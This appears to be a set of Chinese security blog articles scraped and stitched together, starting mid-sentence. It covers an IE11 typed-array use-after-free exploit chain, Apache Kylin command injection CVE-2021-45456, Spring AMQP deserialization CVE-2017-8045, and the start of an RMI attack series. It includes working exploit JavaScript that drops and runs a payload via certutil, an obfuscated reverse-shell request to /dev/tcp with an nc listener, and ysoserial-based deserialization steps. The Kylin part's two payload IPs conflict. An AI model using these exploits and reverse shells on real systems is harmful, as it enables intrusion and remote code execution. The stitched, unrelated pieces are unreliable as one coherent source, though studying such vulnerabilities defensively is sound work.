5.5版本的方法，而且根本就不需要执行任何的shellcode或ROP代码。
作为微软“Mitigation Bypass
Bounty”计划的一部分，我们凭借此工作获得了最高奖金10万美元，本文描述了其中用到的所有漏洞和技术，当然，这仅是我们提交内容中的一部分。
文中的分析是在打好补丁（2016.02）的Windows 10（10.0.10586）系统下进行的，并且如果不再另行声明的话都是基于的64位程序。
### 2 关于Typed Arrays的漏洞
本部分将介绍我们为了在IE 11沙箱中执行初始化代码而利用到的漏洞，为了便于理解我们首先需要了解两个基本的JavaScript结构，即Web
Workers和Typed Arrays，这些内容会在接下来的两小节中讨论。
#### 2.1 Web Workers
首先，漏洞利用到了Web Workers[1]。Web Workers
API能允许Web内容在后台通过并发线程来执行JavaScript代码，需要注意，由于此并发线程是在另一全局上下文中运行的，因此它无法直接访问DOM。创建这样的worker是很简单的，只需将要执行的JavaScript文件名传给Worker()构造函数就行了。
对于主线程与worker线程间的通信，需要借助消息来传递，发送消息可以使用postMessage()[2]方法，而使用注册的onmessage事件则可以处理消息的接收。其中，postMessage()方法的第一个参数为要传输的对象，第二个参数是一可选对象数组，其所属权会从发送线程转移到发给的worker线程，此外，对象必须实现了Transferable[3]接口。
重点需要理解下所属权转移对象，它们在发送线程对应的上下文中将变得不可用（中性），而只能在接收的worker线程上下文中使用。
#### 2.2 Typed Arrays
Typed
arrays是类似数组的对象，它提供了访问原始二进制数据的方法，其实现介于“buffer”和“view”之间。而buffer是由ArrayBuffer[4]对象实现的，它存储着要访问的原始数据，但是，ArrayBuffer对象是不能直接用于访问数据的。
为了访问数据我们需要用到view，view可被认为是底层buffer的类型转换。所有常见数值类型的不同view都是可用的，如Uint8Array，Uint16Array或Uint32Array对象。
每个typed arrays对象相应的底层ArrayBuffer对象都为“buffer”属性，此属性是在构造typed
arrays时设置好的，并且后面无法再进行更改。
#### 2.3 漏洞细节
下面我们来看一下触发此漏洞的JavaScript代码：
var array;
function trigger() {
/* Create an empty Worker */
var worker = new Worker("empty.js");
/* Create new Int8Array typed array */
array = new Int8Array(0x42);
/*
* Transfer ownership of the underlying ArrayBuffer to the worker,
* effectively neutering it in this process.
*/
worker.postMessage(0, [array.buffer]);
/* Give the memory a chance to disappear... */
setTimeout("boom()", 1000);
}
function boom() {
/* This writes into the freed ArrayBuffer object */
array[0x4141] = 0x42;
}
代码首先创建了一个新的web worker和typed arrays。之后，postMessage()方法会将先前与typed
arrays相关联的ArrayBuffer所属权转移给worker，这将使当前线程上下文中的ArrayBuffer不再可用，从而释放掉ArrayBuffer指向的内存空间。
但程序并不考虑当前上下文中仍然可访问的typed arrays是否还与ArrayBuffer相关联，所有通过typed
arrays进行读写ArrayBuffer的操作仍将访问已释放掉的内存。
这就很好玩了，因为通过改变创建的typed
arrays大小，我们能控制要释放的内存块大小，而后对于此释放空间上新申请的任意对象，我们就能获得完全的读写访问权了。因此，我们首先创建一个合适大小的typed
arrays，然后通过将ArrayBuffer所属权转移给worker的方式来释放当前上下文中的内存，最后创建目标对象重用此释放掉的内存块。
### 3 漏洞利用
为了利用这个漏洞，我们首先需要找到这么一个对象，通过对它的操作要能迈出利用的第一步。 我们先来看看ArrayBuffer的内存实际分配在哪里。
通过查看jscript9!Js::JavascriptArrayBuffer::Create方法我们可以知道代码实际上使用了malloc()函数来分配jscript9!Js::ArrayBuffer::ArrayBuffer()构造方法中的内存空间。
push 24h
mov ecx, esi ; this
call Recycler::AllocFinalizedInlined
push ds:__imp__malloc ; void *(__cdecl *)(unsigned int)
mov esi, eax
push ebx ; struct Js::DynamicType *
push edi ; unsigned int
mov ecx, esi ; this
call Js::ArrayBuffer::ArrayBuffer
这意味着我们用来分配有用对象的那块释放掉的内存位于CRT堆上，这就相对减少了潜在有用对象的数目，因为像普通数组或typed
arrays那样的对象是分配在IE自定义堆上的。
#### 3.1 查找利用对象
为了找到一些可操作的有用对象，我们将记录所有使用RtlAllocateHeap()函数进行内存分配的操作。
bp ntdll!RtlAllocateHeap "r $t0 = @rcx; r $t1 = @r8; gu; .printf \"Allocated %x bytes at %p on heap %x\\n\", @$t1, @rax, @$t0; g"
我们注意到，当创建大量的大数组对象时，Internet
Explorer将在CRT堆上分配一些大小相同的LargeHeapBlock对象。可以通过下面的断点进行观察：
bp jscript9!LargeHeapBucket::AddLargeHeapBlock+0xee ".printf \"Created LargeHeapBlock %p\\n\", @rax; g"
这些对象构成了IE自定义堆的基础，并且存储有自定义堆上分配的大型堆空间的管理信息，其中与我们后续讨论相关的一些重要字段定义如下：
LargeHeapBlock对象中存储着一些有用的指针，其中，偏移量0x8处的指针指向IE自定义堆中的数据，对于通过创建多个大的Array对象来触发LargeHeapBlock对象分配的情况，该指针直接指向了此时分配的一个Array对象。
由于我们可以很容易的通过创建大量Array对象来触发LargeHeapBlock对象的分配，并且我们事先知道了创建的LargeHeapBlock对象大小，所以我们选择操作此对象。
#### 3.2 LargeHeapBlock对象的Corruption
由前文知道我们可以获得对CRT堆上LargeHeapBlock对象的读写访问权，我们还可以通过第一个QWORD字段确认是否真的在操作一个LargeHeapBlock对象，同时也能借此泄漏jscript9.dll模块的基址。下面的问题将是如何corrupt此对象以实现任意代码的执行。
在垃圾回收机制中，IE自定义堆上那些未使用的LargeHeapBlock对象将被收集起来，这个过程可以从下面LargeHeapBucket::SweepLargeHeapBlockList函数中的代码看到：
do {
next_heapblock = (struct LargeHeapBlock *)*((_QWORD *)current_heapblock + 8);
lambda_cedc91d37b267b7dc38a2323cbf64555_::operator()((LargeHeapBucket **)&bucket, (__int64)current_heapblock);
current_heapblock = next_heapblock;
} while (next_heapblock);
此代码将遍历LargeHeapBlock对象链表，对于访问到的每个LargeHeapBlock对象都调用一次operator()操作。
在operator()函数内部将执行标准的双向链表节点删除操作，其中前驱指针在偏移0x58处，后继指针在偏移0x60处。下面列出的就是通常用到的删除操作算法，当然这还不是完整的：
back = block->back;
forward = block->forward;
forward->back = back;
back->forward = forward;
这种删除操作没有提供类似现代堆分配中实现的任何保护机制，因此，通过操作LargeHeapBlock对象的前驱和后继指针我们可以触发对任意地址的任意QWORD写操作。我们唯一的限制是写入的值（后继指针）必须是一个有效的地址，其在后面存储前驱指针时会用到。
#### 3.3 对内存的精心布局
正如前面部分所述，通过corrupt
LargeHeapBlock对象在偏移0x58处的前驱指针和0x60处的后继指针，我们能够实现对所选地址的写入操作。但为了能够读写完整的地址空间以及泄露任意的JavaScript对象，我们需要构建一个更巧妙的内存布局。
Typed
arrays是一个很有利用价值的目标，因其存储了指向实际数据缓冲区的内部指针以及该缓冲区的大小，通过重写数据缓冲区的指针和大小，我们就可以轻松获得对任意地址的读写访问权。当然了，需要先泄漏内存中typed
arrays的地址，这样我们才能对其进行利用。
同时，LargeHeapBlock对象只是为大型的array对象所创建的，而非typed arrays，因为typed
arrays的缓冲区是直接分配在CRT堆上的，因此，我们不能直接泄漏typed
arrays的地址。但我们可以借助下面的方法，首先将一个整数数组和一个typed arrays数组放置在相邻的内存地址处并确保其中有一个typed
arrays分配在整数数组之后，通过corrupt整数数组对象的长度就能访问到相邻的typed arrays数组了，这样，我们就可以泄漏出typed
arrays的地址，然后重新利用corrupt后的整数数组来修改这个typed arrays。最终，我们想要的内存布局应如下图所示：
其中，左侧为CRT堆的分配，右侧则显示了所有IE自定义堆的分配。可以看到，LargeHeapBlock对象以及typed
arrays的缓冲区都分配在CRT堆上，而array对象和typed arrays则分配在IE自定义堆上。
可以看到，LargeHeapBlock对象与IE自定义堆上的所有array对象存在关联，包括了两个整数数组和一个typed arrays数组。
通过从LargeHeapBlock对象中泄露的指针，我们一方面可以验证是否成功创建了所需的堆空间布局，另一方面可用于计算自定义堆中array对象间的确切距离，以便通过第一个整数数组去访问其它对象。
在自定义堆上所期望的内存布局为一整数数组，后面跟一typed arrays数组，再后面是一typed
arrays的引用，最后是另一整数数组。我们将交替分配整数数组和typed
arrays数组以期创建出所需的内存布局。下面的JavaScript代码能够完成此目的：
for (var i = 0; i < NUMBER_ARRAYS; i++) {
/* Allocate an array of integers */
array_int[i] = new Array((ARRAY_LENGTH - 0x20)/4);
/* Fill array with noticeable pattern to detect successful corruption */
for (var j = 0; j < array_int[i].length; ++j) {
array_int[i][j] = MAGIC_VALUE;
}
/* Create new typed array */
var uint8array = new Uint8Array(4);
/* Allocate an array of typed array references */
array_obj[i] = new Array((ARRAY_LENGTH - 0x20)/4);
for (var j = 0; j < array_obj[i].length; ++j) {
array_obj[i][j] = uint8array;
}
}
在程序进行多次分配后，我们可以检查下内存中是否创建了所需布局，如果没有我们就重复这个过程直至成功。
为了借助typed
arrays来对整个地址空间进行读写访问，我们首先使用删除链表节点时的写操作corrupt自定义堆上第一个整数数组中的长度来扩展其大小，以此覆盖typed
arrays数组以及typed arrays对象本身。而后通过corrupt后的整数数组从相邻的typed arrays数组中泄漏出指向typed
arrays的指针，最终再次使用corrupt后的整数数组来重写typed arrays的大小和缓冲区指针。
布局中的第二个整数数组将用来确保第一个整数数组在大小扩展时的可靠性，避免corrupt掉非相关的内存。我们将在下节中给出进一步解释。
#### 3.4 扩展第一个数组
最开始，我们需要corrupt第一个整数数组来扩展其大小以便覆盖接下来的对象。让我们看看内存中典型的Array对象是什么样的：
其中，红色显示的表示Array对象分配的字节数，紫色显示的为数组长度，蓝色显示的是数组的保留长度，灰色显示的值则表示各个数组元素。
JavaScript的数组是动态增长的，上面显示的数组中已经存储有42(0x2a)个元素，在不需要重新分配空间的情况下能够存储0x3ffa个元素。我们可以通过重写保留长度字段，使其能在分配的数组边界外进行写入，此外，为了能够读取此分配数组后的内存空间，我们还需要为索引赋一个大于初始长度的值来扩展数组长度。
因此，我们将通过链表节点删除操作来重写第一个整数数组的保留长度字段。为了做到这一点，我们将前驱指针设置为数组保留长度字段（减去8）的地址，并将后继指针设置为数组内第一个元素的地址，这样，我们就用一个指针覆盖了数组的保留长度字段，这能保证其长度变为一个比较大的值。并且相应的我们也覆盖了数组的第一个元素，这点是很有用的，因为我们可以使用它来找到corrupt后的JavaScript数组，即检查数组的第一个元素是否仍然为初始值。
虽然我们现在能借助这个corrupt后的数组对其后的内存进行写入了，但在读取内存时我们需要先设置好对应的索引值，这就是为什么我们要在末尾处放置第二个整数数组的原因了。在完成第一个整数数组长度字段的重写后，我们将通过其向第二个整数数组中的首个元素写入一特定值，可以很容易检测这个操作是否成功，这样就可确保我们能成功读写这两个数组间的所有地址空间了。
#### 3.5 获取完整地址空间的访问权
既然我们能够对typed arrays数组进行读写访问了，那么我们就可以获得与此相关联的typed arrays指针了，并能检查此typed
arrays是否真的分配在这两个整数数组之间。如果我们找不到这样的typed arrays，只需重复整个过程直至我们成功创建所需的内存布局。
借助第一个corrupt后的整数数组我们现在可以重写typed
arrays的大小和缓冲区指针了，但这里有个限制，就是我们不能写大于0x7fffffff的值。为了仍能读写完整的地址空间，我们将大小设为最大值0x7fffffff，但缓冲区指针是按读写时的具体情况而动态设定的，即0x000'0000000到0x7ff'ffffffff中的某个值，设置该指针时需要用到两次写操作，最后调整相应的索引值即可。这样我们就间接绕过了此限制。
借助这种方式我们不仅可以读写完整的地址空间，而且还可以泄露出任意JavaScript对象的地址，只需将其置于typed
arrays数组中，而后利用第一个整数数组访问相应的数组元素。
既然我们拥有了强大的内存读写访问权，那么下一步就要考虑覆盖些什么内容了。
#### 3.6 再现上帝模式
我们知道最常见的代码执行利用方式是先泄漏对象的地址，而后重写其vftable指针来进行程序流程的控制，但是这种情况要求绕过CFG保护。因此，这里我们尝试采用Internet
Explorer中已存在的那些功能，它要能允许我们执行任意的系统命令，也就是ActiveX控件。
ActiveX控件的滥用并不是什么新技术了，早前已由Yang Yu [5]（腾讯玄武）和Yuki Chen
[6]（360Vulcan）公开提过了。在过去，决定不安全的ActiveX控件能否在没有提示的情况下运行仅仅依赖于单个标志，即ScriptEngine对象中的SafetyOption标志，如果通过corrupt内存将此标志置为0，那么就能开启实例化和运行不安全ActiveX控件的能力。
在Internet Explorer
11中微软通过引入一个0x20字节的hash来保护SafetyOption标志不被覆盖，以此缓解该技术的利用。但是，能否开启上帝模式仍由jscript9!ScriptEngine::CanCreateObject和jscript9!ScriptEngine::CanObjectRun这两个函数的返回值决定[7]。不同于SafetyOption标志的覆盖，我们可以将ScriptEngine对象中的security
manager替换为内存中伪造的security
manager，而伪造的vftable中和这两个函数相关的指针被替换为相应的ROP代码指针，这样可以强制jscript9!ScriptEngine::CanCreateObject和jscript9!ScriptEngine::CanObjectRun函数总是返回true。此方案已在Yuki写的ExpLib2库中实现了。
在过去上述方案能被很好的利用，直到CFG保护的引入才打破了ExpLib2中的实现方式。
然而，通过查看Windows
10当前jscript9.dll版本中的ScriptEngine::CanCreateObject函数你会发现负责保护hash的ScriptEngine::GetSafetyOptions函数已经不见了，因此SafetyOption标志将不再受到保护，过去写入单个空字节就能实现利用的技术似乎又可行了。
如果我们再看下ScriptEngine::CanCreateObject和ScriptEngine::CanObjectRun函数的开头，你会发现这两个函数检查的SafetyOption标志都位于ScriptEngine对象中的0x384偏移处。
将此标志置为0就足以使这两个函数都返回true了，而使用如下的JavaScript代码可以成功实例化一个WshShell对象并执行任意的系统命令：
var shell = new ActiveXObject("WScript.Shell");
shell.Exec("notepad.exe");
这就使得我们仍能在最近几个版本的Internet
Explorer中开启上帝模式，它也变得更容易了，因为我们只需写入一个空字节而不必关心其它大多数的漏洞利用保护。
#### 3.7 释放Payload
在开启上帝模式后，我们能有多种方式将可执行文件释放到磁盘上。一种可行的方法是使用ADODB.Stream，Massimiliano
Tomassoli在他的exploit开发教程[8]中已经有很好的描述了，但此方法还需要进一步修改以绕过同源检测。
在我们的PoC中将转而使用Scripting.FileSystemObject把base64形式编码的payload写入磁盘，然后借助WScript.Shell执行certutil.exe来对base64进行解码，最后执行解码后的payload。
下述JavaScript代码片段说明了如何释放并执行payload：
/* Drop the base64 encoded payload on disk. */
var fso = new ActiveXObject("Scripting.FileSystemObject");
var fh = fso.CreateTextFile(payload_b64_path);
fh.Write(base64_payload);
fh.Close();
/* Decode the stored payload using certutil.exe and execute it. */
var shell = new ActiveXObject("WScript.Shell");
shell.Exec(certutil_path + " -decode " + payload_b64_path + " " + payload_path);
shell.Exec(payload_path);
### 4 参考
[1] W3C, "Web Workers, W3C Working Draft 24 September 2015," [Online].
Available:
<https://www.w3.org/TR/workers/>
[2] Mozilla, "MDN Worker.postMessage() Documentation," [Online]. Available:
<https://developer.mozilla.org/en-US/docs/Web/API/Worker/postMessage>
[3] Mozilla, "MDN Transferable Documentation," [Online]. Available:
<https://developer.mozilla.org/enUS/docs/Web/API/Transferable>
[4] Mozilla, "MDN ArrayBuffer Documentation," [Online]. Available:
<https://developer.mozilla.org/enUS/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer>
[5] Y. Yu, "Write Once, Pwn Anywhere," [Online]. Available:
<https://www.blackhat.com/docs/us-14/materials/us-14-Yu-Write-Once-Pwn-Anywhere.pdf>
[6] Y. Chen, "Exploit IE Using Scriptable ActiveX Controls," [Online].
Available:
<http://www.slideshare.net/xiong120/exploit-ie-using-scriptable-active-x-controls-version-english>
[7] Fortinet, "Advanced Exploit Techniques Attacking the IE Script Engine,"
[Online]. Available:
<https://blog.fortinet.com/2014/06/16/advanced-exploit-techniques-attacking-the-ie-script-engine>
[8] M. Tomassoli, "Exploit Development Course," [Online]. Available:
<http://expdevkiuhnm.rhcloud.com/2015/05/11/contents/>
* * * | 社区文章 |
# 前言
CVE-2021-45456 是由于系统直接将用户请求中的project传入并执行，导致命令执行。
CVE-2022-44621 是由于系统未过滤 jobId 参数，导致可能存在命令执行（说实话，jobID应该是不可控的）。
# CVE-2021-45456
**漏洞报告：**
* <https://lists.apache.org/thread/70fkf9w1swt2cqdcz13rwfjvblw1fcpf>
**影响版本：**
* Kylin 4.0.0
## 环境配置
**IP:**
本机指Docker运行的环境实例；宿主机指运行Docker的主机。
* 本机IP： 172.17.0.2
* 宿主机IP：192.168.1.105
**版本：**
直接采用官方 docker 镜像搭建环境，进行远程调试。
* docker：apachekylin/apache-kylin-standalone:4.0.0
**调试：**
执行如下代码，修改 kylin.sh 的内容
sed -i 's/\${KYLIN_TOMCAT_OPTS} -classpath/\${KYLIN_TOMCAT_OPTS} -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005 -classpath/g' /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh
sh /home/admin/apache-kylin-4.0.0-bin-spark2/bin/kylin.sh restart
**启动：**
执行如下命令即可启动 Kylin ：
docker pull apachekylin/apache-kylin-standalone:4.0.0
docker run -d -m 8G -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 2181:2181 -p 5005:5005 apachekylin/apache-kylin-standalone:4.0.0
> 具体看官方的docker安装文档
> <https://kylin.apache.org/cn/docs/install/kylin_docker.html>
其中各端口功能如下：
* 5005：远程调试端口
* 7070：<http://127.0.0.1:7070/kylin/login，Kylin> 页面。密码：admin KYLIN
* 50080：<http://127.0.0.1:50070，HDFS> NameNode 页面。
* 8088：<http://127.0.0.1:8088，YARN> ResourceManager 页面。
## 攻击
1. 登录 Kylin。账号：admin，密码：KYLIN
2. 创建一个名称为 nohupshcechoc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEwNS8xMjM0NSAwPiYxCgbase64d 的项目
3. 在宿主机使用 nc 监听 12345 端口
4. 在Burpsuite-repeater模块发送如下请求包：
GET /kylin/api/diag/project/%60nohup%20%73%68%20%2d%63%20%22%24%28%65%63%68%6f%20%63%32%67%67%4c%57%6b%67%50%69%59%67%4c%32%52%6c%64%69%39%30%59%33%41%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%78%4c%6a%45%77%4e%53%38%78%4d%6a%4d%30%4e%53%41%77%50%69%59%78%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%29%22%20%26%60/download HTTP/1.1
Host: 127.0.0.1:7070
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: project=%22a%22; JSESSIONID=9805DDB8B4CD54C6A2F7210364C5B75D
Upgrade-Insecure-Requests: 1
在宿主机 12345 端口即可收到 shell
**注意：**
1. 上文中的 payload 为：
`nohup sh -c "$(echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yLjQ4LzEyMzQ1IDA+JjE=|base64 -d)" &`
使用 base64 的原因是，路径中出现斜杠，系统会报错；使用 nohup 的原因是防止系统可能卡死；
2. 上文中项目名为 payload 中字母和数字的顺序组合。所以，反弹IP的不同，payload有所改变，需要攻击者自行调整payload。
## 调试
**源码：**
从官方库下载 Kylin4.0.0 版本
* <https://github.com/apache/kylin/archive/refs/tags/kylin-4.0.0.zip>
**断点：**
Idea
打开后，在`org.apache.kylin.rest.controller.DiagnosisController#dumpProjectDiagnosisInfo`方法下断点：
**调用栈**
runNativeCommand:123, CliCommandExecutor (org.apache.kylin.common.util)
execute:91, CliCommandExecutor (org.apache.kylin.common.util)
execute:85, CliCommandExecutor (org.apache.kylin.common.util)
runDiagnosisCLI:129, DiagnosisService (org.apache.kylin.rest.service)
dumpProjectDiagnosisInfo:98, DiagnosisService (org.apache.kylin.rest.service)
dumpProjectDiagnosisInfo:82, DiagnosisController (org.apache.kylin.rest.controller)
···
···
tomcat调用栈忽略...
···
**调试：**
重放请求包：
GET /kylin/api/diag/project/%60nohup%20%73%68%20%2d%63%20%22%24%28%65%63%68%6f%20%63%32%67%67%4c%57%6b%67%50%69%59%67%4c%32%52%6c%64%69%39%30%59%33%41%76%4d%54%6b%79%4c%6a%45%32%4f%43%34%78%4c%6a%45%77%4e%53%38%78%4d%6a%4d%30%4e%53%41%77%50%69%59%78%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%29%22%20%26%60/download HTTP/1.1
Host: 127.0.0.1:7070
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: project=%22a%22; JSESSIONID=9805DDB8B4CD54C6A2F7210364C5B75D
Upgrade-Insecure-Requests: 1
成功捕获断点
参数 project 的值即为
payload，直接传递给了`org.apache.kylin.rest.service.DiagnosisService#dumpProjectDiagnosisInfo`方法。
红框处的功能为为获取项目实例，并判断是否存在。分为两个步骤：
* 第一步，使用`org.apache.kylin.rest.util.ValidateUtil#convertStringToBeAlphanumericUnderscore`方法将 project 参数值中非字母数字和下划线的字符串替换为空。其代码实现如下：
public static String convertStringToBeAlphanumericUnderscore(String toBeConverted) {
return toBeConverted.replaceAll("[^a-zA-Z0-9_]", "");
}
* 第二步，根据 **处理后的project参数** 作为依据，获取项目实例，并判断项目实例是否存在。
而该CVE的问题正在于此，传递给 `runDiagnosisCLI` 方法的参数不是 **处理后的project参数**
，而是用户请求传递的原文，即图片中的 args 数组。
`runDiagnosisCLI` 方法将 args 数组拼接后直接传递并在后续代码中执行（不再追踪，自行调试）。
## 修复
**补丁：**
* <https://github.com/apache/kylin/pull/1781>
修复方案：参数一致。
## 参考
* <https://securitylab.github.com/advisories/GHSL-2021-1048_GHSL-2021-1051_Apache_Kylin/>
* <https://y4er.com/posts/cve-2021-45456-apache-kylin-command-injection/>
* <https://lists.apache.org/thread/70fkf9w1swt2cqdcz13rwfjvblw1fcpf>
* <https://lists.apache.org/thread/7ctchj24dofgsj9g1rg1245cms9myb34>
# CVE-2022-44621
该漏洞在我的理解中，并没办法触发？
首先，触发该漏洞的api接口如下：
是一个下载job的功能，在 KYLIN 中对应的功能点如下图。
我们通过debug可知
如果 jobId 可控，那么攻击者可直接通过 http 请求植入恶意命令造成任意命令执行。
**在这里我们要先说明一个事实，如果我们没办法在生成 job 时控制 jobId 的值（如CVE-2021-45456一样，新建 project
时指定了project name），那么我们无法进一步利用。这是因为kylin首先会根据 jobId 查询是否存在该 job，然后才去执行后续步骤。**
但是在我跟踪jobId的生成方式后，我发现jobId完全就是写死的 uuid，无法控制。
所以QAQ，不知道如何利用。
## 修复
**补丁：**
* <https://github.com/apache/kylin/pull/2011/files> | 社区文章 |
> 最近国外研究人员先后爆出Spring Data REST远程代码执行漏洞(CVE-2017-8046)和Spring
> AMQP远程代码执行漏洞(CVE-2017-8045)，CVE-2017-8046关注的人比较多，这里对CVE-2017-8045进行简单分析和复现
### 漏洞原因
在Spring AMQP的Message类中，文件路径为spring-amqp/src/main/java/org/springframework/amqp/core/Message.java。getBodyContentAsString方法中将接收到的消息进行反序列化操作，从而导致任意代码执行。代码如下:
private String getBodyContentAsString() {
if (this.body == null) {
return null;
}
try {
String contentType = (this.messageProperties != null) ? this.messageProperties.getContentType() : null;
if (MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT.equals(contentType)) {
return SerializationUtils.deserialize(this.body).toString();
}
......
}
可以看到这里如果要触发漏洞，其中一个条件是要将请求的ContentType设置为application/x-java-serialized-object。
public static final String CONTENT_TYPE_SERIALIZED_OBJECT = "application/x-java-serialized-object";
### 代码分析
先分析存在漏洞的代码版本[spring-amqp-1.7.3.RELEASE](https://github.com/spring-projects/spring-amqp)，整个项目代码中共有两处提供反序列化方法的类，分别是SerializerMessageConverter类和SerializationUtils类。
其中SerializerMessageConverter继承了WhiteListDeserializingMessageConverter类并实现了反序列化方法deserialize，代码如下：
private Object deserialize(ByteArrayInputStream inputStream) throws IOException {
try {
ObjectInputStream objectInputStream = new ConfigurableObjectInputStream(inputStream,
this.defaultDeserializerClassLoader) {
@Override
protected Class<?> resolveClass(ObjectStreamClass classDesc)
throws IOException, ClassNotFoundException {
Class<?> clazz = super.resolveClass(classDesc);
checkWhiteList(clazz);
return clazz;
}
};
return objectInputStream.readObject();
}
catch (ClassNotFoundException ex) {
throw new NestedIOException("Failed to deserialize object type", ex);
}
}
上面代码可以看到在deserialize函数中hook了objectInputStream的resolveClass方法并调用WhiteListDeserializingMessageConverter类的checkWhiteList方法对反序列化的类进行白名单检查，如果反序列化的类不在白名单就抛出异常。WhiteListDeserializingMessageConverter类中同时实现了setWhiteListPatterns方法来设置反序列化的白名单。但在1.7.3版本中并未见到任何地方使用该函数进行白名单设置，所以这个白名单控制还是依赖使用到spring-amqp的开发人员自行设置，如果开发人员不设置依旧可能存在反序列化漏洞。
在SerializationUtils类的反序列化方法中则未进行任何安全校验：
public static Object deserialize(byte[] bytes) {
if (bytes == null) {
return null;
}
try {
return deserialize(new ObjectInputStream(new ByteArrayInputStream(bytes)));
}
......
public static Object deserialize(ObjectInputStream stream) {
if (stream == null) {
return null;
}
try {
return stream.readObject();
}
......
}
而本次漏洞触发点getBodyContentAsString函数中调用的正是SerializationUtils的deserialize方法。
### 漏洞利用
Message类中toString方法调用了getBodyContentAsString函数，而该漏洞发现者介绍，该方法在代码中许多错误处理及日志记录中会调用到并给出了相关[demo](https://lgtm.com/blog/static/spring_amqp/Application.java)。该程序只允许接收JSON格式消息，此时使用ysoserial生成payload，并将
Content-Type设置为application/x-java-serialized-object，然后发送消息，因为demo程序只允许接收json格式消息，所以会触发异常，从而调用并将消息带入toString函数触发漏洞执行任意代码。
可以使用[spring-amqp-samples](https://github.com/spring-projects/spring-amqp-samples)中的demo，将Application中container方法中添加：
listenerAdapter.setMessageConverter(new Jackson2JsonMessageConverter());
在测试用例中修改发送消息格式：
public void test() throws Exception {
InputStream in = new FileInputStream("testfile");
ByteArrayOutputStream bytestream = new ByteArrayOutputStream();
int ch;
while((ch = in.read()) != -1) {
bytestream.write(ch);
}
byte[] data = bytestream.toByteArray();
Message message = MessageBuilder.withBody(data)
.setContentType(MessageProperties.CONTENT_TYPE_SERIALIZED_OBJECT)
.setMessageId("8045")
.setHeader("foo", "test")
.build();
rabbitTemplate.convertAndSend(Application.queueName, message);
receiver.getLatch().await(10000, TimeUnit.MILLISECONDS);
}
安装RabbitMQ，mac下安装使用命令即可：
> brew install rabbitmq
在resources目录创建application.properties文件，内容如下：
spring.rabbitmq.host=localhost
spring.rabbitmq.port=5672
spring.rabbitmq.username=guest
spring.rabbitmq.password=guest
spring.rabbitmq.virtualHost=
使用ysoserial生成payload文件,在pom依赖中添加commons-collections
3.1，接着调试运行即可进入到tosting函数，并弹出计算器：
[
### 补丁分析
在修复版本以1.7.4为例，getBodyContentAsString中反序列化接口改为调用SerializerMessageConverter的fromMessage方法将AMQP消息转换为对象，并使用setWhiteListPatterns函数设置了允许被反序列化类的白名单，只允许反序列化java.util.
_和java.lang._ 开头的类：
static {
SERIALIZER_MESSAGE_CONVERTER.setWhiteListPatterns(Arrays.asList("java.util.*", "java.lang.*"));
}
详细见<https://github.com/spring-projects/spring-amqp/commit/36e55998f6352ba3498be950ccab1d5f4d0ce655>
### 参考
* <https://lgtm.com/blog/spring_amqp_CVE-2017-8045>
* <http://www.cnvd.org.cn/webinfo/show/4247>
* <https://pivotal.io/security/cve-2017-8045>
* <https://jira.spring.io/browse/AMQP-766>
* <https://github.com/Cryin/Paper/blob/master/Spring%20AMQP%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E(CVE-2017-8045)%E5%88%86%E6%9E%90.md> | 社区文章 |
字数：1w6
推荐阅读时间：>2h
## 前言
其实起因是听老哥讲 **"shiro-721可以用JRMP的payload，短很多，1分钟就可以跑出来"**
，啊！JRMP，RMI学过，我会的我会的.......实际上我会个锤子，YSO-JRMP的模块根本没用过。
> 但实际上本文只是顺道解决了这个问题的原理，如果只是想知道这个原理，可以到下篇的
> JRMP服务端打JRMP客户端(ysoserial.exploit.JRMPListener) 中去解答这个疑问，利用方式是同理的。
然后有一天看了一波别人攻击RMI服务的工具，瞬间三观崩坏，打脸piapia响！
于是.....花了按照月为单位的很长时间洋洋洒洒写了3w字的文整理了针对RMI服务的9种攻击方式，长文少有人能看下去，先丢上最终的研究的结果吧。（其实我感觉是不是应该去混议题的，算了资历尚浅，下次一定。死人脸）
如果觉得有什么出入，喷就完事了；
同时觉得本文对你有帮助， ~~也请留言、评论、关注、一键三连支持你喜欢的up主！你的点赞是我更新的动力！如果这期点赞超过20w，下篇文章直播吃.....~~
咳...同时由于文章实在过长，图片多达74张，将全文分为上、下两篇。
在上篇中将讲述 **针对已知RMI接口的三种攻击方式** 与 **针对RMI层（RMI注册端、RMI服务端）/DGC层** ，是对已有常见利用方式的总结。
而在下篇中将重点讲述 **绕过JEP290的引入JRMP的利用方式**
，这就很好玩了，指出了别的老哥的错误之处，找到了别人没提及的骚姿势，复现分析了老外的绕过方式。
上下篇的小结论是沿用的，建议配合食用；文中实验代码、环境及工具均已上传[github](https://github.com/lalajun/RMIDeserialize)。
此外安利下[ysomap](https://github.com/wh1t3p1g/ysomap)，如果没有意外的话，之后会陆续把这些攻击方式都移植过去（已经支持大部分攻击方式）。
## 回顾稚嫩的过去
在学习了一整子之后回过头去看之前对于RMI的理解真是片面啊......
在 RMI 反序列化一文中，我们把RMI服务的攻击维度分成四个方向：
1. 探测利用开放的RMI服务
2. 基于RMI服务反序列化过程的攻击
3. 利用RMI的动态加载特性的攻击利用
4. 结合JNDI注入
>
> 我个人推荐把第一、第二方向与第三、第四个方向隔离开讨论与理解，第二个点是标准反序列化利用套路（readobject入口点+利用链+RCE）。同第一个一样都是针对RMI服务进行攻击，即打一个1099端口。
>
>
